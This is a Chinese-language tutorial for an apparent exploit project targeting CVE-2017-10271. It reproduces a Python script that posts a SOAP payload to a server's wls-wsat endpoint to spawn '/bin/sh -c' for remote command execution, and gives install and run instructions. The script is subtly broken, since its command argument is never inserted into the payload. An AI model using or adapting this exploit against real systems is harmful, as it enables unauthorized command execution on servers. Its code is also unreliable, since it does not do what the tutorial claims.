CVE-2017-10271 项目使用教程
1. 项目的目录结构及介绍
CVE-2017-10271/
├── README.md
├── exploit.py
└── requirements.txt
- README.md: 项目说明文件,包含项目的基本信息和使用方法。
- exploit.py: 项目的主要执行文件,用于执行漏洞利用。
- requirements.txt: 项目依赖文件,列出了运行该项目所需的Python包。
2. 项目的启动文件介绍
exploit.py
exploit.py
是项目的主要执行文件,用于执行针对 CVE-2017-10271 漏洞的利用。以下是该文件的主要功能和使用方法:
import requests
import sys
def exploit(url, cmd):
payload = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>"""
headers = {
'Content-Type': 'text/xml',
}
response = requests.post(url, data=payload, headers=headers)
print(response.text)
if __name__ == '__main__':
if len(sys.argv) != 3:
print("Usage: python exploit.py <target_url> <command>")
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
exploit(url, cmd)
使用方法
-
安装所需的依赖包:
pip install -r requirements.txt
-
运行漏洞利用脚本:
python exploit.py <target_url> <command>
例如:
python exploit.py http://example.com/wls-wsat/CoordinatorPortType "ls -la"
3. 项目的配置文件介绍
requirements.txt
requirements.txt
文件列出了运行该项目所需的Python包,内容如下:
requests
- requests: 用于发送HTTP请求的Python库。
通过安装这些依赖包,可以确保 exploit.py
脚本能够正常运行。
pip install -r requirements.txt
以上是 CVE-2017-10271 项目的使用教程,包含了项目的目录结构、启动文件和配置文件的详细介绍。希望这些信息能帮助你更好地理解和使用该项目。